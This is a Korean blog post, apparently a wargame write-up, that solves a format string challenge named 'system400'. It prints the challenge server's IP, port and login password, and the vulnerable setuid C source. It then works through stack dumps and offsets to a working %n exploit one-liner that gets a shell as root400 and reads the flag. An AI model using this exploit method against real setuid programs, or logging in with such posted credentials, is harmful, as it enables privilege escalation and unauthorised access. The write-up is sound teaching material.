티스토리 뷰
########################################
포맷 스트링 취약점을 이용하여 쉘을 획득하라
IP : 175.119.227.56
PORT : 10222
ID : system400
PW : YLDMfUUmSwMK
########################################
당연히 포맷스트링 문제일 것이다.
문제를 보도록 하자.
-bash-4.1$ ls -l
total 800
-r-sr-x--- 1 root400 system400 6316 Apr 8 2014 system400
-r-sr-x--- 1 root400 system400 537 Apr 8 2014 system400.c
system400.c를 통해 어디에 FSB 취약점이 있는지 확인하도록 하자.
#include <stdio.h>
#include "dumpcode.h"
int main()
{
int flag = 0x1;
int flag1 = 0x2;
char buf[128];
memset(buf, '\x00', 128);
dumpcode((char*)buf,150);
fgets(buf, 127, stdin); //128까지지만 127까지 입력받음, BOF취약점 방지
printf("before flag value is %x(%p)\n", flag, &flag);
printf(buf); //취약점!
printf("after flag value is %x(%p)\n", flag, &flag);
if(flag == 0x31337) {
printf("Great! you own me!\n");
dumpcode((char*)buf,150);
setreuid(509, 509);
setregid(509, 509);
system("/bin/sh");
}
else {
printf("....\n");
}
dumpcode((char*)buf,150);
return 0;
}
(주석은 제가 추가한 겁니다.)
추가로 확인해 본 결과 이 서버는 ASLR 기법이 사용되지 않고 있다. 그리고
printf("before flag value is %x(%p)\n", flag, &flag);
를 통해서 친절하게 flag변수가 어디에 있는지도 알려준다. 이 정보를 바탕으로 Exploit해보도록 하자.
-bash-4.1$ ./system400
0xbffff6c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff6d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff6e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff6f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff708 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff718 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff728 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff738 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff748 01 00 00 00 02 00 00 00 80 88 04 08 00 00 00 00 ................
0xbffff758 d8 f7 ff bf 26 8d ....&.
AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x
before flag value is 1(0xbffff748)
AAAA 1 bffff748 bffff784 b7fea11a bffff774 41414141 78382520 78382520 78382520
after flag value is 1(0xbffff748)
....
0xbffff6c8 41 41 41 41 20 25 38 78 20 25 38 78 20 25 38 78 AAAA %8x %8x %8x
0xbffff6d8 20 25 38 78 20 25 38 78 20 25 38 78 20 25 38 78 %8x %8x %8x %8x
0xbffff6e8 20 25 38 78 20 25 38 78 0a 00 00 00 00 00 00 00 %8x %8x........
0xbffff6f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff708 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff718 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff728 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff738 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff748 01 00 00 00 02 00 00 00 80 88 04 08 00 00 00 00 ................
0xbffff758 d8 f7 ff bf 26 8d ....&.
-bash-4.1$
AAAA, 즉 buf의 시작점은 여섯번째 %8x에서 나타난다.
0xbffff748
\x48\xf7\xff\xbf
0xbffff74a
\x4a\xf7\xff\xbf
-> 2바이트 후의 flag주소
0xbffff748에 덮어씌울 값은 0x31337이며 십진수 4자리씩 끊어 본다면
0x30000
-> 196608
0x1337
-> 4919 - 40 = 4879
최종 익스플로잇
(python -c 'print "\x48\xf7\xff\xbf"*2 + "\x4a\xf7\xff\xbf"*2 + "%8x" * 3 + "%4879c%n%196608c%n"';cat) | ./system400
after flag value is 31337(0xbffff748)
Great! you own me!
0xbffff6c8 48 f7 ff bf 48 f7 ff bf 4a f7 ff bf 4a f7 ff bf H...H...J...J...
0xbffff6d8 25 38 78 25 38 78 25 38 78 25 34 38 37 39 63 25 %8x%8x%8x%4879c%
0xbffff6e8 6e 25 31 39 36 36 30 38 63 25 6e 0a 00 00 00 00 n%196608c%n.....
0xbffff6f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff708 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff718 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff728 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff738 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffff748 37 13 03 00 02 00 00 00 80 88 04 08 00 00 00 00 7...............
0xbffff758 d8 f7 ff bf 26 8d ....&.
id
uid=509(root400) gid=508(system400) groups=509(root400),508(system400)
whoami
root400
ls /home/root400
flag
cat /home/root400/flag
?????????????????????????????
문제 해결 확인
'Pwnable > KISA SYSTEM' 카테고리의 다른 글
확률 게임에서 이겨라! (0) | 2014.10.12 |
---|---|
취약한 메아리 프로그램 (1) | 2014.10.12 |